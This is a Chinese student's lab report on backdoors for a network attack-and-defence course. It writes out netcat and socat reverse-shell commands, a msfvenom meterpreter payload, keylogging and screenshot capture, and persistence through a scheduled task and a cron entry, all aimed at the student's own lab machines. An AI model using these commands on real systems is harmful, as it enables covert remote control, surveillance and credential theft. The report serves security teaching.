20145233《网络对抗》第二周 后门原理与实践
实验内容
- windows主机与kali虚拟机实现互联互通
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实验过程
什么是后门
- 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
- 后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。
- 后门程序,跟我们通常所说的"木马"有联系也有区别。联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛依木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。
- 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。
- 后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
- 而且,在病毒命名中,后门一般带有backdoor字样,而木马一般则是Trojan字样。
使用netcat获取主机操作Shell,cron启动
linux获取windows的shell
-
首先两个操作系统中都要有ncat,(本次实验中我的靶机有两个,前半部分的实验我是在自己的win主机中完成的,但是在后续的实验中,kali发送的后门程序无法在我的主机中打开,只好利用pki课程的虚拟机来完成后续实验)kali中已经自带,window需要下载码云上的压缩包到window中,解压到相应的system中可以直接在命令行中运行。
-
这里ncat和后面用到的socat我都是在老师共享的码云附件中下载的。
-
kali下使用ifconfig来获取卡里主机的ip。
-
在kali下使用
nc -l -p 5233
来将5233
设置成监听端口开始监听,windows下输入netcat.exe -e cmd 192.168.85.129 5233
实现kali对windowsshell的控制并利用ipconfig来验证。
windows获取linux的shell
-
windows下使用以下命令
netcat.exe 192.168.85.129 5233
监听 -
kali下使用
nc -e /bin/sh -l -p 5233
反弹连接windows -
利用ifconfig验证
ncat传输文件
-
windows系统使用
ncat.exe -lv 1452 > hhc_file.exe
监听准备接受文件
-
kali系统使用
ncat -nv 192.168.85.129 1452 <pwnx
来发送指定文件
使用socat获取主机操作Shell
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。 -
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。 -
kali上用
socat tcp-listen:5233
把cmd绑定到端口5233 -
同時用
socat tcp-l:5233 system:bash,pty,stderr
反弹连接
-
windows使用
socat readline tcp:192.168.85.129:5233
开启监听 -
成功,使用ifconfig检测
meterpreter生成后门程序
-
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=208 -f exe >20145233.exe
来生成后门程序,然后发送到windows机中。
-
使用
msfconsole
命令开启msf进行设置
-
这时候监听已经开始了,在windows中运行之前的后门程序可以成功控制远程shell。
meterpreter信息搜集
-
首先可以用神奇的help,来看看都有哪些指令,其中指令很多,但是我们本次实验中用的只是一小部分,其他的功能可以在以后自己来了解。
-
系统信息截取
-
对靶机win7进行截图
-
记录靶机的键盘记录
-
安装为系统服务
后门启动
Windows设置
-
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
-
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5233 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5233,同时把cmd.exe的stderr重定向到stdout上:
-
我在这里设定为当系统启动的时候,启动后门程序。
使用netcat获取主机操作Shell,cron启动
-
kali下终端使用crontab -e修改配置文件,根据格式m h dom mon dow user command来填写启动的时间,加入下面一行:
* * * * * /bin/netcat 192.168.85.129 5233 -e /bin/sh
-
第一个星号可以设置成0-59的数字,即每小时的第几分钟启动,同理下个星号是1-24小时,下个是1-12···
-
使用
crontab -l
查看配置文件
实验问题回答
- 如何将一个后门安装到系统中?
后门程序被捆绑或者伪装成正常的程序进入自己的系统。
不慎点了某些链接,被植入了后门程序。 - 例举你知道的后门如何启动起来(win及linux)的方式?
后门修改权限使得自己在任务控制设定启动条件,多种多样,随意后门程序设置。 - Meterpreter有哪些给你映像深刻的功能?
记录键盘输入记录配合屏幕摄像头的截图来获取靶机使用者的信息,这就很可怕了。攻击者拿到信息后想干什么干什么。 - 如何发现自己有系统有没有被安装后门?
利用杀毒软件定期清理未知文件。
开启防火墙,对于某些默认的端口来查看是什么程序在使用,进行分析。
实验总结
- 本次实验在完成的时候,我才真的觉得自己学习了好玩并且实用的东西,也理解到了后门攻击往往存在在很多地方,这些隐患其实是很致命的。
- 比如,配合屏幕截图及键盘记录可以很轻易的来获取被攻击者的密码资料等,因为虚拟机的实验环境没有摄像头的驱动程序,所以没办法完成人脸捕捉。
- 这次实验让我对于网络攻防更有兴趣了。